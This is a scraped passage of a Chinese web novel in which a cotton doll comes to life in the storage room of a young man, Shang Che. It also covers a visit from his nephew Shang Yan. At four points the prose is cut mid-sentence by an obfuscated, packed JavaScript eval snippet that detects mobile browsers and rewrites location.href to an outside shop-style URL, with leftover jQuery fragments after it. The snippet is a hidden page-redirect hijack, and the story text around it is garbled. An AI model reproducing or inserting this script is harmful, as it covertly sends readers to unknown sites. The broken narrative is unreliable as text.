“是会拿你没有手指头的圆手来打我?”他视线继续向下,落在棉花娃娃乖巧的坐姿上,“还是用你这双小短腿来踢我?” 虽然它只是个棉花娃娃,但不代表它听不懂这句话里的意思,这分明就是侮辱!是挑衅!是明晃晃的嘲笑! 这个人类纯粹就是混蛋! 一个欺负棉的坏人! 看着嘴角微微扬起,带着一丝似有若无笑意的商澈,棉花娃娃那股不知从何而来的愤怒终于忍不住了。 (▽ヘ▽#) :“人!你真的!很不讨棉!喜欢!” 小东西气性还挺大。 商澈随意地点着头,一副毫不在意的模样,一字一句回敬道:“我要你喜欢干嘛,一、团、棉、花。” 啊啊啊啊啊! 它不要这个人类当自己的饲主了! 这个人类说话一点都不好听,不抱它也不哄它! 潜意识告诉它,其它棉到主人家里都是宝贝,会被打扮得漂漂亮亮、被满心欢喜地亲亲抱抱,只有它一睁眼就被扒了衣服塞进黑乎乎里。 哦不对,人说过那叫垃圾袋,不叫黑乎乎,棉花娃娃在心里默默纠正自己。 坏垃圾袋!坏人类! 呜呜呜,它的棉生为何如此凄惨! 棉花娃娃越想越伤心,等商澈意识到不对劲时,它的眼睛已经哭成了两个“伤心荷包蛋”。 “你......你哭什么?”商澈的语气含着一丝不易察觉的慌张,他长那么大没哄过什么人,一紧张语气听起来反而有些凶:“别哭了,一滴眼泪都不会掉。” 棉花娃娃看着他,放肆的“大哭”慢慢收敛,仿佛害怕触碰到这个人类的霉头。 棉花娃娃:T^T。 “......”商澈不知道该怎么办,手心一紧,忽然想起还拿着棉花娃娃的小衬衫,他手掌握拳抵地在唇边,微微侧过头咳了一下:“那什么......你不哭了,我就给你穿衣服。” 棉花娃娃眨了下眼,瞬间变了一个表情。 ^o^:“好!” 看着变脸比翻书还快的棉花娃娃上,商澈忽然有种被诈骗的错觉。 他看向仰头望着他的棉花娃娃,不知道是不是被气得轻笑了一声:“你就是在耍我,对吧?” 什么耍?耍什么? “棉听不懂。”它的情绪全凭本能反应,直来直去的,来得快去得也快。 一惹就怒,一哄就好。 棉花娃娃:( ^ v ^ )。 看着这个表情,商澈总莫名觉得有股阴阳怪气的意味在,但一个棉花娃娃,还能懂这些吗? 估计是今晚受到的冲击太大,他确实有些恍惚了。 商澈无奈地摇摇头,看着无从下手的80厘米棉花娃娃,他抬起的手顿了一下,转而揪着棉花娃娃发顶的那撮呆毛,将它拖到面前。 然后默不作声,开始认命般给它穿衣服。 长那么大,从来没有给别人穿过衣服的商大少爷,实在想不到自己第一次做这种伺候人的事,竟然是给一个棉花娃娃。 ...... “人,你真好。”棉花娃娃用两颗扑闪扑闪的星星眼看着他,身体往前一拱,自下而上地扬着脸,从商澈的视角看像极了崇拜的模样。 “......”倒也不必如此,他不自在地侧过脸。 棉花娃娃见商澈不理它,倒也毫不在意,它兴致勃勃、迫不及待地要去试试这个巨大的身体了! 手臂好长!腿也长了不少!比起40厘米的尺寸,80厘米棉花娃娃大的不止一星半点! 棉的胸膛好宽阔!棉的身躯好伟岸! 棉花娃娃对自己的焕然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033530|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一新的手脚十分满意,心里默默得意:哼哼~这下人不能再嘲笑它的小圆手和小短腿了! 棉花娃娃觉得自己现在浑身充满了力量,它不知哪来的力气,哼哧哼哧就要从地上站起来。 “......”商澈吸着气,身体忍不住后仰,看着面前离奇的一幕。 偌大一只的80厘米棉花娃娃两手撑着地,屁股向后上方翘起,两只腿一边后撤一边缓缓竖立起来,然后敦实的身躯一个用力,棉花娃娃的视线几乎要和盘腿坐在地上的商澈平行。 “人!快看棉!”棉花娃娃十分激动,软绵绵的嗓音都显得欢呼雀跃,它双腿僵硬,只会呆呆地站着,手臂却疯狂地上下挥舞,一副要起飞的模样。 棉花娃娃:O((*^▽^*))O! 商澈:“......” 谁来理解一下人现在的感受有多荒谬。 虽然已经知道棉花娃娃能动了,但那么大尺寸的毛绒玩具在面前眼睁睁地站起来,这种突如其来的冲击力,可不比听到棉花娃娃说话的刺激小。 商澈的额角一跳一跳,在它期盼又兴奋的目光下,缓缓道:“你不可以用这个尺寸的身体活动。” “为什么?”棉花娃娃非常不解,它对自己的这个身体十分满意,更何况它现在无师自通的学会了站立。 棉简直就是天才! 棉花娃娃:(O >`ω′< )☆=""> ......只不过是站起来,有什么好开心的,商澈觉得既荒唐又无语。 而且怎么好意思问他是为什么的。 一个棉花娃娃难道不应该知道自己什么体型最讨人欢心吗? 看着扑愣扑愣大眼睛,手臂飞舞的棉花娃娃,商澈扯了下嘴角,暗自点评:......真傻。 “人?”棉花娃娃探着头,脸颊几乎都要凑到商澈面前了。 “你答应过我会听话的,”商澈抱着手臂,面无表情的脸庞显得有些冷峻,他语气里听不出什么情绪,似商量似命令:“我的第四个要求就是,你不可以用这个尺寸的身体在我眼前活动。” “啊......”棉花娃娃浅浅失望了一下。 “嗯?”商澈轻轻挑了下眉,似乎是在说棉花娃娃的不听话。 好吧。 它迅速将情绪抛之脑后,80厘米的棉花娃娃仿佛失去灵魂,“轰”地一下瘫倒在地,发出一声不小的闷响。 “棉听话。” 商澈低下头,那个因为迫不及待尝试新身体,而被迫前倾着倒在他小腿上的40厘米棉花娃娃缓缓活了过来。 虽然可以动了,棉花娃娃却依旧保持着趴在商澈小腿上的姿势,微微扬起脑袋,将下巴抵在人的膝弯上。 那双因为“灵魂”消失而暗淡无光的金色眼瞳,在短暂的闪烁后,重新恢复了那副灵动的模样,棉花娃娃用它软糯糯的、直白又困惑的嗓音:“人,你喜欢...这样的棉...?” 商澈没有回答,只是微微垂下眼眸。 棉花娃娃也冲他眨了下眼睛: OVO——(≧▽≦)——OVO! 仿佛在无声地表达:人,你看,棉可爱么。 5. 嘴硬心软 ......什么喜欢不喜欢、可爱不可爱的..... 商澈嘴角扯动,他不知道是无语还是无奈更多一些,也懒得评价棉花娃娃这异想天开的“口出狂言”。 头痛隐隐开始叫嚣,商澈的眉头骤然一蹙,目光不自觉地下沉,眼底一片晦涩。 他抬手将那个倾倒的“庞然大物”拎起来,肌肉紧绷的手臂划过棉花娃娃的视线,紧接着那个短暂被使用过的80厘米的“身体”靠着展示柜和棉花娃娃“沉默”相望。 棉花娃娃一言不发地盯着另一个自己,然后仰起自己白净又毫无棱角的脸蛋看向商澈,那双大大的眼睛里闪过一丝清晰的不舍和惋惜,连小猫般上翘的嘴角似乎都微微耷拉了下来, 忽然,一双宽大修长的手掌虚虚地掩住了它可怜巴巴的视线。 棉花娃娃:(* o . o *)? 它迟疑的嗓音带着明显的困惑与不解:“人...?” 商澈的指尖蜷缩了一下,迅速握住拳,将手掌背到身后,动作中带有一丝不易察觉的慌乱,他不知道自己为什么会做出这种堪称“愚蠢又幼稚”的举动,只好微微侧过脸,语气生硬:“......别用你那双大得吓人的眼睛乱看。” 他顿了顿,继续开口时声音有些低:“也不要总是说些奇奇怪怪的话。” 不管是挑衅的还是......其他的。 棉花娃娃不懂什么叫奇奇怪怪的话,它简单的纯棉脑袋理解不了那么弯弯绕绕又复杂的表达,只当是人在夸它的眼睛大。 但人类的眼睛也很大呀,可以装下一整个棉呢! 商澈能感觉到一股自下而上打量自己的视线,棉花娃娃似乎很想观察人类与自己的不同,它仔细地目光来回,一会儿看看面前的人类,一会儿看看80厘米的“自己”。 人的眼睛上面有两条黑黑的、毛茸茸的东西,但棉没有。 人的眼睛下面有一块微微凸起的地方、高高的,还有两个很小很小的孔,棉也没有。 人的嘴巴看起来好大,还有厚度,可棉只有一抹绣上去的丝线...... 而且,人的嘴巴下面为什么不是圆滚滚的? ......难道因为人是人,棉花娃娃是棉花娃娃? 棉花娃娃趴在商澈的小腿上,软乎乎的小手抵上自己圆圆的脸颊,仿佛是真的在思考这个“深奥”的问题。 不过没几秒,它的注意力就被别的事物吸引住了—— 人的眼睛会动!还很亮!喜欢! 棉喜欢亮晶晶的东西! 商澈的眼睛细而长、眼尾带着点许张扬上挑的弧度,格外凸显肆意的少年气,那双瞳孔黑的并不纯粹,泛着淡淡的褐色,在暖白色的灯带下仿佛一对灿灿发光的宝石,与棉花娃娃那对干净的、椭圆形的金色眼睛完全不一样。 棉花娃娃看得极其专注,甚至无意识地微微前倾了它那软绵绵的小身体,试图靠得更近、看得更清楚些,完全不记得刚才商澈的“警告”了。 商澈被棉花娃娃这毫无遮拦,又直勾勾的“注视”,弄得浑身不自在。 那道轻飘飘的目光,没有任何实质的温度或情感,却比任何人的视线,都更让他感到一种莫名的暴露和难以言喻的羞赧。 棉花娃娃的眼睛太大了,大到这一刻商澈几乎无法辨别它具体在看哪里,焦点又落在何处,他的呼吸都在不知不觉中放缓。 就好像自己脸上的每一寸肌肤、每一个表情都被这团棉花和面皮构成的小东西,用最纯粹、又原始的方式“观察”着,又或者说是“学习”着。 小腿上属于棉花娃娃的触感越来越清晰,连衬衫上那颗小小的纽扣印上腿骨的触觉都分外鲜明。 “......喂”商澈觉得自己是接受能力已经很强了,但还是耐不住被棉花娃娃这样盯着看,他忍不住出声,试图打破这诡异的气氛,声音里带着连自己都没察觉到的别扭:“看够了没有?” 棉花娃娃闻声,金色的眼睛缓慢地眨了一下。 “...没有乱看...”它回答的有些迟疑,仿佛在思考用词一般,“人的脸...和棉不一样...” 简直是废话,怎么可能一样。 商澈心里忍不住吐槽了一句,头痛倒是因为这个小插曲缓解了不少,困倦感开始渐渐涌上。 今天接收的信息量太大,混乱程度过高,他确实需要时间消化,而不是在这里和棉花娃娃废话。 尽管,刚才已然入睡失败了一次。 他敷衍又没好气回答道:“我们人类都长这样。” ?人类都长一个样吗?每个棉花娃娃都会长得不一样呢! 人类...也太可怜了。 商澈忽然发现,棉花娃娃看向自己的眼神里,似乎有一丝丝难以言喻的......怜悯? 紧接着,棉花娃娃软糯的安慰声就响起:“人,你好看!” 商澈沉默了一瞬,教育它:“...不要说这种奇怪的话。” 棉花娃娃却置之不理,有些新奇又兴奋地继续道:“有两条黑黑...的毛茸茸,还有两个小孔!” 虽然表述诡异,且难以理解,但商澈还是听懂了:“...而且那是眉毛和鼻子。” 可棉花娃娃最喜欢的还是眉毛和鼻子中间的东西,它从善如流地换了个表情,金色的眼睛弯曲成眯眯的缝,圆圆的小嘴微微张开。 (^o^):“人的眼睛...最好看!” “亮晶晶!棉喜欢!” 商澈:“......”真是一点儿都没有把人的话听进去。 棉花娃娃:“亮晶晶!棉喜欢!圆球球...发光!棉喜欢!” ...什么亮晶晶...什么发光的圆球球... 今天的荒唐和闹剧已经够多了,他不想再和一团棉花讨论什么亮晶晶的问题了,严重的睡眠不足也让商澈的理智在蹦乱的边缘徘徊,他急需安静与休息。 “......你暂时呆在这里,”商澈及时制止了接下来的任何对话,面无表情的脸显得有些冷酷,但眼底掩盖不住的疲惫还是出卖了他,“没有我的允许不可以出来,不许乱动,也不准发出任何动静。” 说完商澈就站起身,一闪而过的光弧划过他冷淡的面容,紧接着他脚步带着仓促与虚浮,毫不留情地转身离去,灯带也在房门关闭的几秒后,自动暗了下来。 “......” 棉花娃娃的小嘴微张,那句“人,你去哪里”还没来得及出口,就只能眼巴巴地看着他离开的背影,和那扇绝情的门。 光线骤暗道瞬间,棉花娃娃的身躯几不可察地微微瑟缩了一下,它仿佛又回到了被垃圾袋笼罩的感受。 黑乎乎的,棉讨厌...人也是... 它不自觉地瘪了下嘴,表情显得有些命苦:T^T。 棉花娃娃只能默默安慰自己,等适应后,发光的圆球球就又会变成房间内唯一光亮的来源,棉就又可以看见亮晶晶了。 如果水晶球也能“活过来”的话,大概就能发现自己的视线下方有一颗圆滚滚的脑袋、倔强地扬起,直勾勾地盯着自己,只是没过多久又有些“沮丧”地垂了下去。 棉花娃娃此刻有些呆板和“落寞”。 果然,这个人类还是不喜欢它,就算用了这个40厘米的身体,人还是不喜欢...... 但人好像很累的样子,是棉太吵了吗...... 软乎乎的小圆手并到一起,棉花娃娃低下头,它不再说话也没有乱动,仿佛一下子失去了所有“生气”,变成了一个真正的、沉默的玩偶。 人不喜欢棉...... 没关系的...... 棉只是...有一点点伤心... “咔哒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033531|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门锁轻响,商澈去而复返,手里似乎还拿着什么东西。 储物间的灯带再次亮起,棉花娃娃仰头的速度快了些,显得有些激动,声音带着不确定的期待:“人......” 商澈只是用余光不甚明显地扫了它一眼。 他脸上没有表情,面色平淡又冷静,沉默地将手里的毛毯抖了抖,展开、铺好在地上,用手掌按了按软硬,才一言不发地将孤零零的棉花娃娃拎到了柔软的毛毯上。 商澈单膝抵在地板上,伸手将那两个尺寸小的、还被塞在垃圾袋里的棉花娃娃解救出来,轻轻放到毛毯上,让它们三个呆在一起,连那个靠着储物柜的80厘米大家伙也被他的手臂一拎,坐上了温暖的毛毯。 做完这些,他停顿了片刻,目光扫过这四个大小不一、却有着相同脸蛋的棉花娃娃,它们现在一起待在柔软的毛毯上,看起来...和几个小时前一模一样。 棉花娃娃其实对冷热没有什么概念和感受,他只知道自己能看见东西,能动起来,能感受一些自己的或是人类的某种情绪,对其他的一切都是未知的,模糊的。 棉花娃娃不安分地动了动小脚,金色的眼睛紧紧追随着商澈的动作,里面重新亮起了光:“人!” “好了,闭嘴。”商澈按了按自己因为缺乏睡眠而有些肿胀的额角,他嘴唇上还残留着浅浅湿润的痕迹,“有什么事儿明天再说。” 他手臂一伸,手掌犹豫了一瞬,还是从展示架上取下了那个晶莹剔透、散发着柔和光亮的水晶球,轻轻放到了棉花娃娃的面前。 水晶球里的雪花因为晃动而纷纷浮动,中心那个模样模糊的小人正对着棉花娃娃微笑。 看着瞬间被水晶球吸引、几乎要变成星星眼的棉花娃娃,商澈语气虽然淡淡的,但配合上他这堪称温和的动作,莫名像是在笨拙地哄劝:“...你说的‘发光的圆球球’是这个么。” 商澈的肩颈因为疲惫而泛起微微酸涩的疼痛,极度缺乏睡眠的脑袋在一阵诡异离奇的冲击和药片的中和下变得昏沉,撑在地板上的手掌颤了一下,他几不可察地晃了下脑袋,声音干涩:“你听话一点...我.....” “棉听话!”棉花娃娃迫不及待打断了他的话,兴奋又专注地盯着面前的新鲜事物,然后歪着脑袋一脸好奇,“人,这个叫什么?” “...水晶球。”商澈回答它的声音很低,看向水晶球的目光晦涩又留恋。 棉花娃娃得到了答案,又紧紧地盯着水晶球,仿佛怎么都看不够一般,忍不住抬起了手想要触碰:(☆▽☆)。 “你小心,别弄坏了——”商澈几乎是急切地脱口而出,却又忽然顿住,他的神经竟然紧绷到觉得一个棉花做的娃娃会打破水晶球的程度了。 棉花娃娃的手停住,有些疑惑又试探地看向这个“出尔反尔”的人类。 视线落在水晶球上的商澈眸光下意识暗淡了一瞬,像是说服自己:“......算了。” 这一次,他离开的脚步缓了些,关门的动作也轻了很多,手指不经意地划过某处按键,一盏温暖地光芒笼罩着毛毯上的一小片天地。 ...算了...是什么意思?是人类允许它触碰亮晶晶的意思吗? 棉花娃娃故作深沉地思考了一下,然后痛痛快快地伸出小圆手,碰了碰圆球球的表面,它抬起头,看了看紧闭的房门,又瞧了瞧眼前亮晶晶的圆球,和身下毛茸茸的毯子。 人类不在,它偷偷动不会被发现的! 棉真聪明! 而且人类看起来很紧张这个东西,他不在,作为棉就要帮他守护好! 嗯!棉可是很厉害的! 它把自己的屁股往前挪了挪,轻轻抱住了那颗发光的圆球球,脸蛋乖巧地贴着,像是得到了一件爱不释手的宝物,小心翼翼地保护着: “人说...这叫水晶球...” 6. 令棉尴尬 棉花娃娃并不需要睡觉,也感受不到冷热,就像一个沉默站岗的小守卫一样,爱不释手地抱着水晶球。 暖黄色的灯光下,水晶球散发出淡淡的光晕,木纹底座的金色铭牌上刻着一串清秀飘逸的字符,精致的浮雕从四周光滑的表面隆起,似乎带有别样的寓意,可惜棉花娃娃那双金色的大眼睛无法读懂,只好用软绵绵的小手好奇地戳了戳。 嗯...棉摸不出来...棉也看不懂。 但棉知道!水晶球!好看! 棉花娃娃金色的大眼睛几乎贴了上去,一副势必要将水晶球内的装饰看个明白的样子。 圆润透亮的玻璃球里,扬着笑脸的小人昂首挺胸、颐指气使地站在中心的圆台上,背后是一栋做工精巧的房子,两扇敞开的小窗户还透着光。 小人的前方铺着一条石子小路,一侧是绿油油的常青树,另一侧盛开的紫藤萝攀爬上木质的白色秋千,因为还未彻底平稳下来而细微地晃动着。 银色星型的亮片与白色的雪花在棉花娃娃的注视下缓缓沉寂下来,犹如一场凭空消融的落雪。 它呆呆地盯着水晶球,以为这场不知名的“雪”还能自己重新降落,只是过了许久棉花娃娃都没有等到第二次“落雪”。 ?为什么没有了?难道是坏了?! 不是棉弄坏的!棉没有! 它下意识挪动屁股,小短腿胡乱地扑腾,只是距离没后退多少,倒是原本铺平的毛毯被搓起一块一块的褶皱,随着它的动作拖拽着,直到——水晶球“咚”地一声倒在了柔软的毛毯上,沉淀在水晶球底部的亮片和雪花受到冲击,又一次飞舞起来。 棉花娃娃:Σ(O A O丿)丿! 棉的天!水晶球摔倒啦!! 小短腿又扑腾扑腾地挪回去,像是着急去看望水晶球有没有事。 棉花娃娃的小猫嘴一张一合,像是一个圆圆的O,眼睛亮闪闪的发出感叹:“哇——” “摔倒的”水晶球内雪花纷飞,只是不消一会儿,又再次陷入了沉寂。 ......嗯? 棉花娃娃睁着大眼睛,一只手不紧不慢地举起,勉强挠了挠自己的脑袋:O.O7。 为什么这个叫水晶球的家伙总是“罢工偷懒”?难道是因为“摔倒”后起不来了吗? 水晶球别怕!棉来帮你! 白花花、软绵绵的小手一左一右贴着水晶球,棉花娃娃奋力一抬——“嘭~”一道细微的声响,从棉花娃娃在空中相撞的两只手里传出。 ...纹丝不动的水晶球真的很令棉尴尬! 它两只小手不好意思般地搓了搓,忽然曲起手臂给自己打着气。 ??????????:刚刚棉没有尽全力,棉再试一次! 棉花娃娃信誓旦旦、昂首挺胸,似乎是觉得自己的姿势不对,它一边撑着水晶球缓缓从地上抬起屁股,一边有礼貌的道歉:“不好意思呀..水晶球,你先帮棉..站起来,棉再帮你..站起来。” 虽然还是有些吃力,但作为一个有“起立”经验的棉,这点困难不会打倒它的。 棉花娃娃回忆起上次站起来时的经验,手掌支撑、屁股翘起、双腿用力,就是现在—— 棉又站起来啦! 它十分满意地点点头,颇有一副摩拳擦掌准备大干一场的架势,手掌上柔软的面皮紧紧贴着圆滑的水晶球,像是拔萝卜一般使出浑身解数。 但——水晶球只是细微地晃荡了一下,依旧“赖皮”似地瘫倒在地上。 ......真不给棉面子! 也这根本不是棉的问题,棉尽力了。 可棉就是拿不动,也拿不住,它低下圆滚滚的脑袋,看着自己白花花、软绵绵的手,显然有些失落。 ??^??:真是棉生挫败! 为什么棉的手和人类不一样... 人的手很大,可以拿起水晶球,可以给棉穿衣服,还可以轻而易举地把棉拎起来...... 人,厉害! 棉,羡慕! 拯救水晶球无果后,棉花娃娃像是失去了活力般倒下,细短的小手臂顺势搭上水晶球,紧密地贴合着,像是搂抱一般。 它记得人离开前说过“明天再说”这几个字,意思是明天到了,人就会来见它吗? 人没有出现是因为现在还不是“明天”吗? 那什么时候才是明天啊,棉花娃娃很是苦恼,它不知道这扇门什么时候会打开,人什么时候会再次出现到它面前。 ...... 商澈这一觉睡得极其不踏实,梦里总有一道声音萦绕在耳边,模糊又清晰,微弱又固执,从四面八方钻进他的脑袋里,不容忽视。 “人,你好.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033532|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “人,你是眼睛不好吗...” “人,你不会穿衣服吗...” “人......” ——好吵。 商澈眉头紧锁,在梦中去找那道声音的来源,直至眼前出现一个模糊的粉金色身影,看起来圆鼓鼓的、还没有他的小腿高,不知道是什么东西。 他缓缓地靠近想要一探究竟,却在即将看清时骤然踏空,整个人瞬间失衡下坠,与此同时,他身体一抖,从梦中醒来,那双被棉花娃娃夸赞的眼睛猛然睁开。 梦中惊醒的滋味并不好受,商澈的后背甚至出了一层薄薄的汗,他机械性地抬手去摸床头柜里的白色小瓶,囫囵着干吞下药片,又放空般仰躺了一会儿,等眼中茫然消失殆尽、恢复了往日的清明,他才缓缓起身、揉了下昏沉的额角。 ......这次难得没有做噩梦。 但梦里的究竟是什么东西? 电动牙刷的嗡嗡声钻进脑袋,商澈站在洗漱台前总觉得自己似乎忘记了什么,结果越想越走神,高频震动的牙刷撞上齿间。 牙根猛地一酸,商澈彻底清醒了——他在储物间里“关”了一个“活过来”的棉花娃娃,难怪会做那么离奇的梦。 也不知道那个棉花娃娃有没有乖乖地待着...... 商澈快速简单地洗漱了一下,正打算换身衣服去储物间“探望”棉花娃娃,就听见一阵聒噪的手机铃声从床头柜上传来: “鸡蛋鸭蛋荷包蛋!” “咔咔,我的小啾啾~” 不用看他就知道这通电话是谁打来的,毕竟来电铃声都是这个没头脑的二愣子亲自挑选的——他的小外甥商言。 “小舅舅!小舅舅!小舅舅——” 急促、连续、带着熟悉的、大大咧咧的嗓音从听筒里传来,商澈叹了口气,利落地套上T恤,认命道:“知道了,别喊,我现在去开门。” 路过储物间时,商澈的脚步微顿,思量了一瞬还是决定等商言走之后,再去看储物间里的那个“麻烦”。 听到脚步声的棉花娃娃激动了一瞬,松开搂着水晶球的手臂,仰起大大的脑袋,紧紧盯着那道房门,直到停顿了一瞬的脚步声又忽然远离,棉花娃娃显然有些不知所以。 商澈离开的太快,也就没听到棉花娃娃隔着门板喊的那句:“人,你去哪...” 7. 意外动静 打开门的瞬间,一道色彩鲜艳、花里胡哨的身影就这样扎进商澈眼里。 商言趴在猫眼上的动作一个踉跄,咧着嘴露出一口白牙:“早上好啊!我的小舅舅!” “你不来吵我的话会更好,”商澈放他进了门,懒洋洋地倚在墙边,“不在家睡懒觉,跑到我这边干什么。” 商言轻车熟路地找到在自己的专用拖鞋,忽视掉小舅舅语气里的调侃和别扭,将一直拎着的饭盒稳稳当当放好后,他才努了努嘴:“我妈,你表姐,熬了一早上的汤,又叮嘱我亲自送过来看你喝下去。” “乌鸡汤~”商言阴阳怪气的,“大补~” 商澈看了他两秒,露出一抹人机似的微笑:“...等会儿你那碗自己喝。” 别以为他不知道这臭小子打的什么主意。 商言体质不好又总是不听话吃药,家里人只能从食补下手,可偏偏这浑小子又不爱喝补汤,直到大人们发现,这个死活不肯开口叫商澈“小舅舅”的浑小子,一边看不惯商澈还要一边模仿。 商澈吃什么他就吃什么,商澈玩什么他就玩什么。 于是,本就不需要进补的商澈开始故意在商言面前喝汤,就这样和大人们一唱一和好几年,硬是把商言的身体补了个七七八八。 但这招在商言长大后就不管用了,甚至还被臭小子学会了反将一军。 尽管不住在一起,大补汤也是要喝的,只是换成了一周一送,送汤的人正是他“孝顺”的小外甥,其美名曰,“那么好喝的汤,我要去和小舅舅一起喝!” 实际上是他不想喝的,一大半都塞进了商澈的肚子。 “别别别——”这话商言可听不得,他好不容易找个借口逃离大补汤的魔爪,连忙双手合十,诚恳求饶:“我错了小舅舅!” 商澈看着他:“说实话,你当年肯改口叫我小舅舅,就是想让我帮你喝汤吧。” “嘿嘿~”商言一副‘这都被你发现了’的表情,虽然他已经接受了事实,但还是觉得气愤:“谁叫我们俩明明一般大,但他们总让我喊你‘舅舅’,我自然不服气啊,凭什么...明明我还比你早出生两个月呢...” “凭我辈分比你高,”商澈抱着手臂,仰着下巴,“小孩儿去厨房拿碗筷。” 商言做了个鬼脸:“为老不尊。” “......” 孔融让梨在此刻十分具像化了。 商澈看着自己面前一大碗乌鸡汤,又看了看商言那仿佛品酒般的浅浅汤底,无语地脑门直跳,他竖起两根手指,凉凉道:“早出生的两个月不补了?” “我是真的喝不动了,只有每周借着来给你送汤的借口才能少喝一点儿,”商言双手合十举在头顶,虔诚地拜了拜,“求你了小舅舅!” “求也没用。”话虽这样说,商澈还是捏着瓷勺,给商言添了半碗汤,“小半碗,再把肉吃了,别什么不喜欢的都丢给我。” “......”这话听着怎么那么耳熟,简直就是长辈的口吻。 商言木着一张脸:“你这样显得我很像无理取闹的小孩。” “有自知之明是好事。”商澈也摆出一副长辈的架势来。 两秒后,小舅舅忍俊不禁,小外甥也破口大笑。 ...... 棉花娃娃不知道人去了哪里,怎么还不来见它,而且它刚才明明都说话了,人也没有理它,难道人的耳朵也不好了吗? ...这个人怎么哪里都不太好的样子... 但没关系,棉不嫌弃! 人眼神不好,但棉眼睛大;人耳朵不好,那棉就大点声;但人总是走来走去,来也匆匆去也匆匆...... 棉花娃娃噘了下嘴,椭圆型的豆豆眼向下压了压,一副不太开心的模样。 ? ?? :这就很坏了,棉还不会走路。 作为一个强大的棉,现在,它要做一件大事——学会独立行走。 棉都能自己站起来,走路怎么可能会难倒棉! 说干就干,棉花娃娃挪动屁股,一点一点把自己移到了毛毯的边缘,再一回生二回熟地借着力站起来,然后像个站岗的士兵一样不知道下一步该怎么做。 ...人是怎么走路的... 棉花娃娃忽然想到了那双比它高好多好多的腿,人的腿好长;它低头看了看自己,棉的腿好短。 一定要争气呀,棉! 等学会走路就可以吓人一大跳了。 给自己打着气的棉花娃娃试探着动了动僵硬地像块木头似的腿......等一下,棉应该先迈哪个腿? 棉花娃娃看了左边:这个? 又看了看右边:还是这个? 它双手都不知道该往哪放,一直架在身体的两侧小幅度地扇动着。 算了,棉拼了。 棉花娃娃小脸皱成一团,一鼓作气伸出右腿,直到落到光滑的地板上,它才试探着眨了眨眼。 O(≥ ▽ ≤)O:太好了,已经成功第一步了,棉真棒。 接下来只要再把另一条腿也迈过来,棉就算成功走了一步! 沉浸在喜悦里的棉花娃娃完全忽略了自己偏重的脑袋,以及摇摇欲坠的身躯,它兴奋地要复刻用力一蹬的“走路”操作,结果刚动了一下,身体就不受控制地下沉,两条小短腿一前一后分开,双手在慌乱中撑到了地面上、支在身体两侧。 棉花娃娃:“诶——” 它歪了歪脑袋,不理解自己现在究竟是个什么奇怪的姿势,为什么它现在低下头只能看到一只腿了? 棉的腿去哪了? 人会嫌弃只有一只腿的棉花娃娃吗? 毕竟,那样就不可爱了... 棉花娃娃:??^?? 。 走路没学会,腿还不见了,棉怎么那么惨。 为什么棉的手臂那么用力了还是起不来,为什么棉的腿只能小幅的摆动,为什么走路那么难! 每天走那么多路,人一定很辛苦吧。 棉花娃娃决定原谅这个没有听到它说话的人类了。 金色的眼睛一闪,20厘米的棉花娃娃平躺在皱巴巴的毛毯上,豆豆眼忽然眨了一下,“劈着叉”的40cm棉花娃娃失去了活力,从一侧倒下,又变成了那副坐姿乖巧的模样。 第一次使用这个更小的身体,棉花娃娃还有些激动,它挣扎着想从毛毯上起来,结果手脚一动,一声声清脆的“嘎吱、嘎吱”就从自己身上传出来。 棉花娃娃:Σ(O A O丿)丿! 发生了什么?! 僵住的棉花娃娃尝试动了动,“嘎吱”的声音果然又响了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033533|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棉,会响! ...... 商澈不知道今天这个浑小子怎么赖在沙发上不走了,他拿着洗净的保温壶在人眼前晃了晃,毫不掩饰地赶客:“汤喝完了,回家去。” “诶诶诶,干嘛一来就让我走,”商言耍赖皮,一脸有恃无恐,“怎么,你又有什么事啊?” “你周末不是在睡觉就是在睡觉的路上,”商言一副十分了解的模样,善解人意道:“你睡你的,我保证不吵你。” 商澈拒绝地直截了当:“你会影响到我。” “我带着耳机打游戏,保证不发出一点儿动静。”商言比了个嘴巴拉链的动作。 商澈顿了顿,语气有些不明所以:“家里多了一个会喘气的东西,也会影响到我。” 